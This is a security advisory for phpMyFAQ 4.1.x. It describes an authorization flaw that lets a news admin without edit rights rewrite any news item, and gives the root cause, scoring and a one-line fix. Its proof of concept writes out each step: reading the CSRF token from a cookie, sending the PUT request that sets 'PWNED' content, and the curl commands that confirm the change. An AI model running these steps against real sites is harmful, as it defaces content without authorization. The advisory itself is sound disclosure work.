phpmyfaq/phpmyfaq: Incorrect authorization on `PUT /admin/api/news/update`: `NEWS_DELETE` is accepted where `NEWS_EDIT` is required
What fixes it
- 4.1.9phpmyfaq/phpmyfaq, composerGitHub
composer require "phpmyfaq/phpmyfaq:^4.1.9"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
**Incorrect Authorization (CWE-863): PUT /admin/api/news/update is gated on NEWS_DELETE where every sibling in the same controller uses the right that matches the action.** A delegated admin holding addnews and delnews but not editnews rewrites the header, body, author, link and active flag of any news item, which then renders on the public front page and the public REST API.
This is fixed on main by 9d06e8752 (2026-04-10) and was never backported to 4.1.
Details
// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/NewsController.php:122 (4.1.8 and origin/4.1 HEAD)
public function update(Request $request): JsonResponse
{
$this->userHasPermission(PermissionType::NEWS_DELETE); // <- should be NEWS_EDITmain HEAD line 103 reads $this->userHasPermission(PermissionType::NEWS_EDIT);.
The CSRF token is not a barrier for this actor. Administration\NewsController::getBaseTemplateVars() calls Token::getTokenString('update-news') on *every* news page, including /admin/news/add, which NEWS_ADD already grants. Token::setSession() writes the same random value into the session and into a pmf-csrf-token-<md5('update-news')[0:10]> cookie at path /admin, so the actor reads it out of its own cookie jar.
Proof of concept
phpMyFAQ 4.1.8, fresh install. Actor rnews, rights [addnews, delnews], not editnews, not super admin.
Setup as admin: POST /admin/api/index.php/news/create → news id=1, header=ORIGINAL-HEADER-N1, artikel=ORIGINAL-BODY-N1, author_name=Admin.
[rnews] GET /admin/index.php/news/add -> 200 (holds NEWS_ADD)
update-news token read from own cookie jar -> 40ac6f1656c977bcf881295edcfb3c95
[rnews] PUT /admin/api/index.php/news/update
{"csrfToken":"40ac…","id":1,"newsHeader":"PWNED-HEADER-N1",
"news":"PWNED-BODY-N1 injected by a user without editnews","authorName":"rnews"}
-> 200 {"success":"The news entry has been successfully updated."}Read back through a separate, unauthenticated path — the public REST API and the public home page:
$ curl -s http://localhost:8088/api/v3.1/news
[{"id":1,"lang":"en","header":"PWNED-HEADER-N1",
"content":"PWNED-BODY-N1 injected by a user without editnews","authorName":"rnews",
"authorEmail":"rnews@example.test","active":true,
"url":"http://localhost/news/1/en/pwned_header_n1.html"}]
$ curl -s http://localhost:8088/index.php | grep -oE 'PWNED-[A-Z-]+-N1'
PWNED-BODY-N1
PWNED-HEADER-N1Database row after the write, read independently (faqfaqnews):
id header active artikel author_name 1 PWNED-HEADER-N1 y PWNED-BODY-N1 injected by a user without editnews rnews
Controls.
*A — the actor really lacks NEWS_EDIT, and the refusal names it:*
[rnews] POST /admin/api/index.php/news/activate -> 403 {"error":"Forbidden"} (guard: NEWS_EDIT)
[rnews] GET /admin/index.php/news/edit/1 -> 403 User has no "NEWS_EDIT" permission. (AbstractController.php:236)*B — the mirror direction, proving the guard really is NEWS_DELETE:* reditnews, holding only editnews, is refused the very same write.
[reditnews] GET /admin/index.php/news/add -> 403 (no NEWS_ADD)
[reditnews] PUT /admin/api/index.php/news/update -> 403 {"error":"Forbidden"}*C — no test operation granted the right under test.* Rights were assigned once by admin before the run and re-read from /admin/api/user/permissions/5 → [10,12]; 11 (editnews) is absent throughout, and isSuperAdmin: false.
*D — main is not affected.* The same request on main HEAD returns 403 … "User has no \"NEWS_EDIT\" permission.", matching its source.
Impact
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N — 2.7 Low.
PR:H because the actor needs a delegated admin account holding two of the three news rights — addnews for the token, delnews for the guard. I:L — arbitrary rewrite of the header, body, author, link and active flag of any news item, rendering on the public front page, so a content-integrity and defacement primitive confined to one content type. If you treat "news moderator" as a low-privileged role the vector is PR:L and the score 4.3 Medium; I report the conservative one.
Suggested remediation
One-line backport of 9d06e8752 to the 4.1 branch: PermissionType::NEWS_DELETE → PermissionType::NEWS_EDIT at Api/NewsController.php:122.
What this is not
Not pre-auth, and not reachable by an ordinary member: NEWS_ADD and NEWS_DELETE are both required, so the actor is a delegated news administrator.
Not a stored-XSS claim. News content renders unescaped by design for privileged authors; I demonstrate that the *wrong* privilege level can write it, and make no claim about the escaping itself.
**Not a duplicate of GHSA-6w97-49h8-58wh, and that advisory's own text is the evidence.** Its root-cause section reads: *"The corresponding mutation APIs enforce the correct permissions (Api/NewsController.php requires NEWS_EDIT), confirming the intended privilege level."* That sentence is true on main and false on 4.1 — at tag 4.1.8 the same method reads $this->userHasPermission(PermissionType::NEWS_DELETE);. So the mutation API was used there as the evidence for the intended privilege level, and on the stable branch it is the thing that is wrong.
Affected: the whole 4.1 line including 4.1.8 and origin/4.1 HEAD 0245df72b. Not affected: main / 4.2.0-alpha. Introduced by 8154fdf76 (*"refactor: moved news to twig"*, #2791).
Text from GitHub Advisory Database
Affected versions 1
- phpmyfaq/phpmyfaq, composer>= 4.1.0, <= 4.1.8GitHub